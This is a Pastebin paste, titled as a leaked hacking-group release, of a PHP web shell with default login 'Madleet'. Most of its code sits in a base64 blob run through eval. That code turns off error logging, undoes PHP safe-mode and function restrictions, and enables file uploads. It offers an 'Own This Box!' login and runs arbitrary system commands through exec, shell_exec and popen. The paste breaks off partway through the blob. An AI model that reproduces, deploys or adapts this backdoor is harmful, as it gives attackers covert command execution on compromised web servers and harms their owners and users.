fahimmagsi

Madleets Official Shell Leaked

Jan 28th, 2016
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 69.97 KB | None | 0 0
  1. <?php
  2. // ------------------------------------- Default Password and Username is Madleet---------------------------------\
  3.  
  4. /**************** Change Password Here Please *********************************/
  5. $user = "Madleet";
  6. $pass = "Madleet";
  7.  
  8. ?>
  9.  
  10.  
  11. <?php eval("?>".base64_decode("Cjw/cGhwIAoKCgplcnJvcl9yZXBvcnRpbmcoMCk7IAppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKCgovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIFNvbWUgaGVhZGVyIEZ1bmN0aW9ucyAoTmVlZCB0byBiZSBvbiB0b3ApIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVwgCgovKioqKioqKioqKioqKioqKiBEZWZpbmVzICoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgokbG9jayA9ICJvbiI7IC8vIHNldCB0aGlzIHRvIG9mZiBpZiB5b3UgZG9udCBuZWVkIHRoZSBsb2dpbiBwYWdlIAokdHJhY2ViYWNrRmVhdHVyZSA9ICJvbiI7IC8vIHNldCB0aGlzIGZlYXR1cmUgdG8gZW5hYmxlIGVtYWlsIGFsZXJ0cyAKJG93bmVyRW1haWwgPSAiZmFoaW1tYWdzaUBnbWFpbC5jb20iOyAvLyBDaGFuZ2UgdGhpcyB0byB5b3VyIGVtYWlsICwgVGhpcyBlbWFpbCBpcyB1c2VkIHRvIGRlbGl2ZXIgdHJhY2ViYWNrcyBhYm91dCB5b3VyIHNoZWxsIAokdXJsID0gKCFlbXB0eSgkX1NFUlZFUlsnSFRUUFMnXSkpID8gImh0dHBzOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXSA6ICJodHRwOi8vIi4kX1NFUlZFUlsnU0VSVkVSX05BTUUnXS4kX1NFUlZFUlsnUkVRVUVTVF9VUkknXTsgCiRwaHBWZXJzaW9uPXBocHZlcnNpb24oKTsgCiRzZWxmPSRfU0VSVkVSWyJQSFBfU0VMRiJdOyAvLyBXaGVyZSBhbSBpIAokc20gPSBAaW5pX2dldCgnc2FmZV9tb2RlJyk7IAokU0VQQVJBVE9SID0gJy8nOyAvLyBEZWZhdWx0IERpcmVjdG9yeSBzZXBhcmF0b3IgCiRvcyA9ICJOL0QiOyAKaWYoc3RyaXN0cihwaHBfdW5hbWUoKSwiV2luZG93cyIpKSAKeyAKICAgICAgICAkU0VQQVJBVE9SID0gJ1xcJzsgCiAgICAgICAgJG9zID0gIldpbmRvd3MiOyAKfSAKZWxzZSBpZihzdHJpc3RyKHBocF91bmFtZSgpLCJMaW51eCIpKSAKeyAKICAgICAgICAkb3MgPSAiTGludXgiOyAKfSAKCgovLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKiovIAoKLy8gLS0tLS0tLS0tLS0tLS0gVHJhY2ViYWNrIEZ1bmN0aW9ucyAKCmZ1bmN0aW9uIHNlbmRMb2dpbkFsZXJ0KCkgCnsgCiAgICBnbG9iYWwgJG93bmVyRW1haWw7IAogICAgZ2xvYmFsICR1cmw7IAogICAgJGFjY2VzZWRJcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOyAKICAgICRyYW5kb21JbnQgPSByYW5kKDAsMTAwMDAwMCk7ICAgICAgICAgICAjIHRvIGF2b2lkIGlkIGJsb2NraW5nIAogICAgJGZyb20gPSAiTWFkbGVldC1zaGVsbCRyYW5kb21JbnRAZmJpLmdvdiI7ICAKICAgICAKICAgIC8vZWNobyAkZnJvbTsgCiAgICAgCiAgICBpZihmdW5jdGlvbl9leGlzdHMoJ21haWwnKSkgCiAgICB7IAogICAgICAgICRzdWJqZWN0ID0gIlNoZWxsIEFjY2Vzc2VkIC0tIE1hZGxlZXQtU2hlbGwgLS0iOyAKICAgICAgICAkbWVzc2FnZSA9ICIgCkhleSBPd25lciAsIAogICAgICAgICAKICAgICAgICBZb3VyIFNoZWxsKE1hZGxlZXQtU2hlbGwpIGxvY2F0ZWQgYXQgJHVybCB3YXMgYWNjZXNzZWQgYnkgJGFjY2VzZWRJcCAKICAgICAgICAgCiAgICAgICAgSWYgaXRzIG5vdCB5b3UgOi0gCiAgICAgICAgIAogICAgICAgIDEuIFBsZWFzZSBjaGVjayBpZiB0aGUgc2hlbGwgaXMgc2VjdXJlZC4gCiAgICAgICAgMi4gQ2hhbmdlIHlvdXIgdXNlciBuYW1lIGFuZCBQYXNzd29yZC4gCiAgICAgICAgMy4gQ2hlY2sgaWYgbG9jayBpcyAwbiEgCiAgICAgICAgYW5kIEtpY2sgdGhhdCAqKioqKiogb3V0ISAKICAgICAgICAgCiAgICAgICAgVGhhbmtpbmcgWW91IAogICAgICAgICAKWW91cnMgRmFpdGhmdWxseSAKTWFkbGVldC1TaGVsbCAKICAgICAgICAiOyAKICAgICAgICBtYWlsKCRvd25lckVtYWlsLCRzdWJqZWN0LCRtZXNzYWdlLCdGcm9tOicuJGZyb20pOyAKICAgIH0gCn0gCgovLy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKCgppZihmdW5jdGlvbl9leGlzdHMoJ3Nlc3Npb25fc3RhcnQnKSAmJiAkbG9jayA9PSAnb24nKSAKeyAKICAgIHNlc3Npb25fc3RhcnQoKTsgCn0gCmVsc2UgCnsgCiAgICAvLyBUaGUgbG9jayB3aWxsIGJlIHNldCB0byAnb2ZmJyBpZiB0aGUgc2Vzc2lvbl9zdGFydCBmdWN0aW9uIGlzIGRpc2FibGVkIGkuZSBpZiBzZXNzaW9ucyBhcmUgbm90IHN1cHBvcnRlZCAgCiAgICAkbG9jayA9ICdvZmYnOyAKfSAKCi8vbG9nb3V0IAoKaWYoaXNzZXQoJF9HRVRbJ2xvZ291dCddKSAmJiAkbG9jayA9PSAnb24nKSAKeyAKICAgICRfU0VTU0lPTlsnYXV0aGVudGljYXRlZCddID0gMDsgCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsgCiAgICBoZWFkZXIoImxvY2F0aW9uOiAiLiRfU0VSVkVSWydQSFBfU0VMRiddKTsgCn0gCgppbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLDApOyAKCgoKLyoqKioqKioqKioqKioqKioqIFJlc3RvcmluZyAqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLyAKCgppbmlfcmVzdG9yZSgic2FmZV9tb2RlX2luY2x1ZGVfZGlyIik7IAppbmlfcmVzdG9yZSgic2FmZV9tb2RlX2V4ZWNfZGlyIik7IAppbmlfcmVzdG9yZSgiZGlzYWJsZV9mdW5jdGlvbnMiKTsgCmluaV9yZXN0b3JlKCJhbGxvd191cmxfZm9wZW4iKTsgCmluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsgCmluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsgCgppZihmdW5jdGlvbl9leGlzdHMoJ2luaV9zZXQnKSkgCnsgCiAgICBpbmlfc2V0KCdlcnJvcl9sb2cnLE5VTEwpOyAgLy8gTm8gYWxhcm1pbmcgbG9ncyAKICAgIGluaV9zZXQoJ2xvZ19lcnJvcnMnLDApOyAgICAvLyBObyBsb2dnaW5nIG9mIGVycm9ycyAKICAgIGluaV9zZXQoJ2ZpbGVfdXBsb2FkcycsMSk7ICAvLyBFbmFibGUgZmlsZSB1cGxvYWRzIAogICAgaW5pX3NldCgnYWxsb3dfdXJsX2ZvcGVuJywxKTsgICAvLyBhbGxvdyB1cmwgZm9wZW4gIAp9IAoKZWxzZSAKeyAKICAgIGluaV9hbHRlcignZXJyb3JfbG9nJyxOVUxMKTsgCiAgICBpbmlfYWx0ZXIoJ2xvZ19lcnJvcnMnLDApOyAKICAgIGluaV9hbHRlcignZmlsZV91cGxvYWRzJywxKTsgCiAgICBpbmlfYWx0ZXIoJ2FsbG93X3VybF9mb3BlbicsMSk7IAp9IAoKLy8gLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKCgo/PiAKPGh0bWw+IAo8aGVhZD4gCjx0aXRsZT4TMyIoMyItTWFkbGVldC1TaGVsbDMiEykiMxMgfCAxMzM3IEtoYW50ZXN0aWMgfCBQYWtpc3RhbjwvdGl0bGU+IAoKCjxzdHlsZT4gCgovKiAKPT09PT09PT09PT09PT09PT09PT09PT09PT0gICAgIAogICAgQ1NTIFNlY3Rpb24gCj09PT09PT09PT09PT09PT09PT09PT09PT09IAoqLyAKCip7IAogICAgcGFkZGluZzowOyAKICAgIG1hcmdpbjowOyAKfSAKCi5hbGVydCAKeyAKICAgIGJhY2tncm91bmQ6cmVkOyAKICAgIGNvbG9yOndoaXRlOyAKICAgIGZvbnQtd2VpZ2h0OmJvbGQ7IAp9IAp0ZC5pbmZvIAp7IAogICAgd2lkdGg6MHB4OyAKfSAKCi5iaW5kICAKeyAKICAgIGJvcmRlcjogMXB4IHNvbGlkICMzMzMzMzM7IAogICAgbWFyZ2luOiAxNXB4IGF1dG8gMDsgCiAgICBmb250LXNpemU6IHNtYWxsOyAKfSAKCmRpdi5lbmQgKiAKeyAKICAgIGZvbnQtc2l6ZTpzbWFsbDsgCn0gCgpkaXYuZW5kICAKeyAKICAgIHdpZHRoOjEwMCU7IAogICAgYmFja2dyb3VuZDojMjIyOyAKfSAKCnAuYmxpbmsgCnsgCiAgICB0ZXh0LWRlY29yYXRpb246IGJsaW5rOyAKfSAKCmJvZHkgIAp7IAogICAgYmFja2dyb3VuZC1jb2xvcjpibGFjazsgCiAgICBjb2xvcjpyZ2IoMzUsMTgyLDM5KTsgCiAgICBmb250LWZhbWlseTpUYWhvbWEsVmVyZGFuYSxBcmlhbDsgCiAgICBmb250LXNpemU6IHNtYWxsOyAKfSAKCmlucHV0Lm93biB7IAogICAgYmFja2dyb3VuZC1jb2xvcjogIzAwNDg0ODsgCiAgICBjb2xvcjogd2hpdGU7IAogICAgYm9yZGVyIDogMXB4IHNvbGlkICNGRjAwMDA7IAp9IAoKYmxvY2txdW90ZS5zbWFsbCAKeyAKICAgIGZvbnQtc2l6ZTogc21hbGxlcjsgCiAgICBjb2xvcjogc2lsdmVyOyAKICAgIHRleHQtYWxpZ246IGNlbnRlcjsgCn0gCgp0YWJsZS5maWxlcyAKeyAKICAgIGJvcmRlci1zcGFjaW5nOiAxMHB4OyAKICAgIGZvbnQtc2l6ZTogc21hbGw7IAp9IAoKaDEgeyAKICAgIHBhZGRpbmc6IDRweDsgCiAgICBwYWRkaW5nLWJvdHRvbTogMHB4OyAKICAgIG1hcmdpbi1yaWdodCA6IDVweDsgCn0gCmRpdi5sb2dvIAp7IAogICAgYm9yZGVyLXJpZ2h0OiAxcHggIzE5ZDBkMDsgCn0gCmRpdi5oZWFkZXIgCnsgCiAgICBwYWRkaW5nLWxlZnQ6IDVweDsgCiAgICBmb250LXNpemU6IHNtYWxsOyAKICAgIHRleHQtYWxpZ246IGxlZnQ7IAp9IApkaXYubmF2IAp7IAogICAgbWFyZ2luLXRvcDoxcHg7IAogICAgaGVpZ2h0OjMwcHg7IAogICAgYmFja2dyb3VuZC1jb2xvcjogI0ZGMDAwMDsgCn0gCmRpdi5uYXYgdWwgCnsgCiAgICBsaXN0LXN0eWxlOiBub25lOyAKICAgIHBhZGRpbmc6IDRweDsgCn0gCmRpdi5uYXYgbGkgCnsgCiAgICBmbG9hdDogbGVmdDsgCiAgICBtYXJnaW4tcmlnaHQ6IDEwcHg7IAogICAgdGV4dC1hbGlnbjpjZW50ZXI7IAp9IAp0ZXh0YXJlYS5jbWQgCnsgCiAgICBib3JkZXIgOiAxcHggc29saWQgIzExMTsgCiAgICBiYWNrZ3JvdW5kLWNvbG9yIDogIzAwNDg0ODsgCiAgICBmb250LWZhbWlseTogU2hlbGw7IAogICAgY29sb3IgOiB3aGl0ZTsgCiAgICBtYXJnaW4tdG9wOiAxMHB4OyAKICAgIGZvbnQtc2l6ZTpzbWFsbDsgCn0gCgppbnB1dC5jbWQgCnsgCiAgICBiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyAKICAgIGNvbG9yOiB3aGl0ZTsgCiAgICB3aWR0aDogNDAwcHg7IAogICAgYm9yZGVyIDogMXB4IHNvbGlkICNGRjAwMDA7IAoKfSAKdGQubWFpbnRleHQgCnsgCiAgICBmb250LXNpemU6IGxhcmdlOyAKfSAKI21hcmdpbnMgCnsgCiAgICBtYXJnaW4tbGVmdDogMTBweDsgCiAgICBtYXJnaW4tdG9wOiAxMHB4OyAKICAgIGNvbG9yOndoaXRlOyAKfSAKdGFibGUudG9wIAp7IAogICAgYm9yZGVyLWJvdHRvbTogMXB4ICMxNmY2MDE7IAogICAgd2lkdGg6IDEwMCU7IAp9IAojYm9yZGVycyAKeyAKICAgIGJvcmRlci10b3AgOiAxcHggIzE2ZjYwMTsgCiAgICBib3JkZXItbGVmdDoxcHggIzE2ZjYwMTsgCiAgICBib3JkZXItYm90dG9tOiAxcHggIzE2ZjYwMTsgCiAgICBib3JkZXItcmlnaHQ6IDFweCAjMTZmNjAxOyAKICAgIG1hcmdpbi1ib3R0b206MDsgCn0gCnRkLmZpbGUgYSAsIC5maWxlIGEgCnsgCiAgICBjb2xvciA6IGFxdWE7IAogICAgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IAp9IAphLmRpciAKeyAKICAgIGNvbG9yOndoaXRlOyAKICAgIGZvbnQtd2VpZ2h0OmJvbGQ7IAogICAgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IAp9IAp0ZC5kaXIgYSAKeyAKICAgIGNvbG9yIDogd2hpdGU7IAogICAgdGV4dC1kZWNvcmF0aW9uOm5vbmU7IAp9IAp0ZC5kb3dubG9hZCx0ZC5kb3dubG9hZDIgCnsgCiAgICBjb2xvcjojMDA0ODQ4OyAKfSAKI3NwYWNpbmcgCnsgCiAgICBwYWRkaW5nOjEwcHg7IAogICAgbWFyZ2luLWxlZnQ6MjAwcHg7IAp9IAp0aC5oZWFkZXIgCnsgCiAgICBiYWNrZ3JvdW5kOiBub25lIHJlcGVhdCBzY3JvbGwgMCAwICMxOTE5MTk7IAogICAgY29sb3I6IHdoaXRlOyAKICAgIGJvcmRlci1ib3R0b20gOiAxcHggc29saWQgIzMzMzMzMzsgCn0gCnAud2FybmluZyAKeyAKICAgIGJhY2tncm91bmQgOiByZWQ7IAogICAgY29sb3I6IHdoaXRlOyAKfSAKCi8qIAoKLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1DU1MgRU5ELS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAoKKi8gCjwvc3R5bGU+IAo8L2hlYWQ+IAoKPGJvZHkgdGV4dD0icmdiKDM5LDI0NSwxMCkiIGJnY29sb3I9ImJsYWNrIj4gCjw/cGhwIAoKaWYoaXNzZXQoJF9QT1NUWyd1c2VyJ10pICYmIGlzc2V0KCRfUE9TVFsncGFzcyddKSAmJiAkbG9jayA9PSAnb24nKSAKeyAKICAgIGlmKCAkX1BPU1RbJ3VzZXInXSA9PSAkdXNlciAmJiAKICAgICAgICAgJF9QT1NUWydwYXNzJ10gPT0gJHBhc3MgKSAKICAgIHsgCiAgICAgICAgICAgICRfU0VTU0lPTlsnYXV0aGVudGljYXRlZCddID0gMTsgCiAgICAgICAgICAgIC8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLSBUcmFjZWJhY2tzIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAogICAgICAgICAgICBpZigkdHJhY2ViYWNrRmVhdHVyZSA9PSAnT24nKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIHNlbmRMb2dpbkFsZXJ0KCk7IAogICAgICAgICAgICB9IAogICAgICAgICAgICAvLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0gCiAgICB9IAp9IAoKaWYoJGxvY2sgPT0gJ29mZicpIAp7Pz4gCiAgICA8cCBjbGFzcz0id2FybmluZyI+PGI+TG9jayBpcyBTd2l0Y2hlZCBPZmYhICwgVGhlIHNoZWxsIGNhbiBiZSBhY2Nlc3NlZCBieSBhbnlvbmUhPC9iPjwvcD4gCjw/cGhwIAp9IAoKaWYoJGxvY2sgPT0gJ29uJyAmJiAoIWlzc2V0KCRfU0VTU0lPTlsnYXV0aGVudGljYXRlZCddKSB8fCAkX1NFU1NJT05bJ2F1dGhlbnRpY2F0ZWQnXSE9MSkgKSAKeyAKCj8+IAo8dGFibGU+IAogICAgPHRib2R5PiAKICAgICAgICA8dHI+IAogICAgICAgICAgICAgCiAgICAgICAgPHByZT4gCjxjZW50ZXI+PGZvbnQgY29sb3I9Ik9yYW5nZSI+IAo8Yj48dGl0bGU+WyFdIE1hRExlZVRzIFNoZUxMPC90aXRsZT4KPGxpbmsgaHJlZj0naHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCcgcmVsPSdzdHlsZXNoZWV0JyB0eXBlPSd0ZXh0L2Nzcyc+CjxzdHlsZT5ib2R5e2N1cnNvcjp1cmwoIi4uL3d3dy5tYWRsZWV0cy5jb20vZWxoYWNrZXIuY3VyIiksYXV0bzt9aHRtbHtkaXNwbGF5OnRhYmxlO2hlaWdodDoxMDAlO3dpZHRoOjEwMCU7fWJvZHl7ZGlzcGxheTp0YWJsZS1yb3c7fWJvZHl7ZGlzcGxheTp0YWJsZS1jZWxsO3ZlcnRpY2FsLWFsaWduOm1pZGRsZTt0ZXh0LWFsaWduOmNlbnRlcjt9YTpsaW5re3RleHQtZGVjb3JhdGlvbjpub25lO308L3N0eWxlPgo8Y2VudGVyPjxpbWcgc3JjPSJodHRwOi8vd3d3Lm1hZGxlZXRzLmNvbS9sb2dvLnBuZyIgYWx0PSJsb2dvIj4KPGJyPjxicj48YnI+Cjxib2R5IGJnY29sb3I9J2JsYWNrJz4KPGZvbnQgZmFjZT0iSWNlbGFuZCIgc3R5bGU9ImNvbG9yOnJlZDt0ZXh0LXNoYWRvdzowcHggMXB4IDVweCAjMDAwO2ZvbnQtc2l6ZTo2MHB4Ij5bIV0gT2ZmaWNpYWwgTWFETGVlVHMgU2hlbGw8L2ZvbnQ+CjwvY2VudGVyPgo8YnI+Cjxmb250IGZhY2U9IkljZWxhbmQiIHN0eWxlPSJjb2xvcjpsaW1lO3RleHQtc2hhZG93OjBweCAxcHggNXB4ICMwMDA7Zm9udC1zaXplOjMwcHgiPjwvZm9udD4gPC9jZW50ZXI+CjwvYj4gCjwvcHJlPiAKICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8IS0tIDxoMT48P3BocCAvLyBlY2hvICRncmVldGluZzs/PjwvaDE+ICAKICAgICAgICAgICAgICAgIDxpbWcgc3JjPSJMb2dvXzAzLnBuZyIgY2xhc3M9ImltYWdlRm9ybSIgLz4gLS0+IAogICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ijw/cGhwIGVjaG8gJF9TRVJWRVJbJ1BIUF9TRUxGJ107Pz4iPiAKICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJ1c2VyIiB2YWx1ZT0iVXNlcm5hbWUiLz4gPGlucHV0IG5hbWU9InBhc3MiIHR5cGU9InBhc3N3b3JkIiB2YWx1ZT0iUGFzc3dvcmQiLz4gPGlucHV0IGNsYXNzPSJvd24iIHR5cGU9IlN1Ym1pdCIgdmFsdWU9Ik93biBUaGlzIEJveCEiLz4gCiAgICAgICAgICAgICAgICA8L2Zvcm0+IAogICAgICAgICAgICA8L3RkPiAKICAgICAgICA8L3RyPiAKICAgIDwvdGJvZHk+IAo8L3RhYmxlPiAKPD9waHAgCn0gCi8vLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSBXZSBhcmUgYXV0aGVudGljYXRlZCBub3ctLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIAovL0xhdW5jaCB0aGUgc2hlbGwgCmVsc2UgIAp7IAogICAgLy8tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tIEZ1Y3Rpb25zIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAKCiAgICBmdW5jdGlvbiBzaG93RHJpdmVzKCkgCiAgICB7IAogICAgICAgIGdsb2JhbCAkc2VsZjsgCiAgICAgICAgZm9yZWFjaChyYW5nZSgnQScsJ1onKSBhcyAkZHJpdmUpIAogICAgICAgIHsgCiAgICAgICAgICAgIGlmKGlzX2RpcigkZHJpdmUuJzpcXCcpKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgID8+IAogICAgICAgICAgICAgICAgPGEgY2xhc3M9ImRpciIgaHJlZj0nPD9waHAgZWNobyAkc2VsZiA/Pj9kaXI9PD9waHAgZWNobyAkZHJpdmUuIjpcXCI7ID8+Jz4gCiAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZHJpdmUuIjpcXCIgPz4gCiAgICAgICAgICAgICAgICA8L2E+ICAKICAgICAgICAgICAgICAgIDw/cGhwIAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICB9IAoKICAgIGZ1bmN0aW9uIEh1bWFuUmVhZGFibGVGaWxlc2l6ZSgkc2l6ZSkgCiAgICB7IAogIAogICAgICAgICRtb2QgPSAxMDI0OyAKICAKICAgICAgICAkdW5pdHMgPSBleHBsb2RlKCcgJywnQiBLQiBNQiBHQiBUQiBQQicpOyAKICAgICAgICBmb3IgKCRpID0gMDsgJHNpemUgPiAkbW9kOyAkaSsrKSAgCiAgICAgICAgeyAKICAgICAgICAgICAgJHNpemUgLz0gJG1vZDsgCiAgICAgICAgfSAKICAKICAgICAgICByZXR1cm4gcm91bmQoJHNpemUsIDIpIC4gJyAnIC4gJHVuaXRzWyRpXTsgCiAgICB9IAoKZnVuY3Rpb24gZ2V0Q2xpZW50SXAoKSAKeyAKICAgIGVjaG8gJF9TRVJWRVJbJ1JFTU9URV9BRERSJ107IAp9IAoKZnVuY3Rpb24gZ2V0U2VydmVySXAoKSAKeyAKICAgIGVjaG8gZ2V0ZW52KCdTRVJWRVJfQUREUicpOyAKfSAKZnVuY3Rpb24gZ2V0U29mdHdhcmVJbmZvKCkgCnsgCiAgICBlY2hvIHBocF91bmFtZSgpOyAKfSAKZnVuY3Rpb24gZGlza1NwYWNlKCkgCnsgCiAgICBlY2hvIEh1bWFuUmVhZGFibGVGaWxlc2l6ZShkaXNrX3RvdGFsX3NwYWNlKCIvIikpOyAKfSAKZnVuY3Rpb24gZnJlZVNwYWNlKCkgCnsgCiAgICBlY2hvIEh1bWFuUmVhZGFibGVGaWxlc2l6ZShkaXNrX2ZyZWVfc3BhY2UoIi8iKSk7IAp9IApmdW5jdGlvbiBnZXRTYWZlTW9kZSgpIAp7IAogICAgICAgIGdsb2JhbCAkc207IAogICAgICAgIGVjaG8oJHNtPyJPTiA6KCA6JyggKE1vc3Qgb2YgdGhlIEZlYXR1cmVzIHdpbGwgTm90IFdvcmshKSI6Ik9GRiIpOyAKICAgICAgICAgCn0gCgpmdW5jdGlvbiBnZXREaXNhYmxlZEZ1bmN0aW9ucygpIAp7IAogICAgaWYoIWluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJykpIAogICAgeyAKICAgICAgICBlY2hvICJOb25lIjsgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgICAgIGVjaG8gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7IAogICAgfSAKfSAKCmZ1bmN0aW9uIGdldEZpbGVQZXJtaXNzaW9ucygkZmlsZSkgCnsgCiAgICAgCiRwZXJtcyA9IGZpbGVwZXJtcygkZmlsZSk7IAoKaWYgKCgkcGVybXMgJiAweEMwMDApID09IDB4QzAwMCkgeyAKICAgIC8vIFNvY2tldCAKICAgICRpbmZvID0gJ3MnOyAKfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgeyAKICAgIC8vIFN5bWJvbGljIExpbmsgCiAgICAkaW5mbyA9ICdsJzsgCn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsgCiAgICAvLyBSZWd1bGFyIAogICAgJGluZm8gPSAnLSc7IAp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NjAwMCkgPT0gMHg2MDAwKSB7IAogICAgLy8gQmxvY2sgc3BlY2lhbCAKICAgICRpbmZvID0gJ2InOyAKfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgeyAKICAgIC8vIERpcmVjdG9yeSAKICAgICRpbmZvID0gJ2QnOyAKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgeyAKICAgIC8vIENoYXJhY3RlciBzcGVjaWFsIAogICAgJGluZm8gPSAnYyc7IAp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MTAwMCkgPT0gMHgxMDAwKSB7IAogICAgLy8gRklGTyBwaXBlIAogICAgJGluZm8gPSAncCc7IAp9IGVsc2UgeyAKICAgIC8vIFVua25vd24gCiAgICAkaW5mbyA9ICd1JzsgCn0gCgovLyBPd25lciAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAxMDApID8gJ3InIDogJy0nKTsgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7IAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPyAKICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAKICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7IAoKLy8gR3JvdXAgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7IAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDgpID8gCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOyAKCi8vIFdvcmxkIAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwNCkgPyAncicgOiAnLScpOyAKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsgCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAxKSA/IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAndCcgOiAneCcgKSA6IAogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsgCgpyZXR1cm4gJGluZm87IAoKfSAKCi8qKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCi8vIGV4ZWNfYWxsICwgQSBmdW5jdGlvbiB1c2VkIHRvIGV4ZWN1dGUgY29tbWFuZHMgLCBUaGlzIGZ1bmN0aW9uIHdpbGwgb25seSBleGVjdXRlIGlmIHRoZSBTYWZlIE1vZGUgaXMgCi8vIFR1cm5lZCBPZkYhIAovKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKi8gCgoKZnVuY3Rpb24gZXhlY19hbGwoJGNvbW1hbmQpIAp7IAogICAgIAogICAgJG91dHB1dCA9ICcnOyAKICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZXhlYycpKSAKICAgIHsgICAgCiAgICAgICAgZXhlYygkY29tbWFuZCwkb3V0cHV0KTsgCiAgICAgICAgJG91dHB1dCA9IGpvaW4oIlxuIiwkb3V0cHV0KTsgCiAgICB9IAogICAgIAogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3NoZWxsX2V4ZWMnKSkgCiAgICB7IAogICAgICAgICRvdXRwdXQgPSBzaGVsbF9leGVjKCRjb21tYW5kKTsgCiAgICB9IAogICAgIAogICAgZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3BvcGVuJykpIAogICAgeyAKICAgICAgICAkaGFuZGxlID0gcG9wZW4oJGNvbW1hbmQgLCAiciIpOyAvLyBPcGVuIHRoZSBjb21tYW5kIHBpcGUgZm9yIHJlYWRpbmcgCiAgICAgICAgaWYoaXNfcmVzb3VyY2UoJGhhbmRsZSkpIAogICAgICAgIHsgCiAgICAgICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygnZnJlYWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ2Zlb2YnKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICB3aGlsZSghZmVvZigkaGFuZGxlKSkgCiAgICAgICAgICAg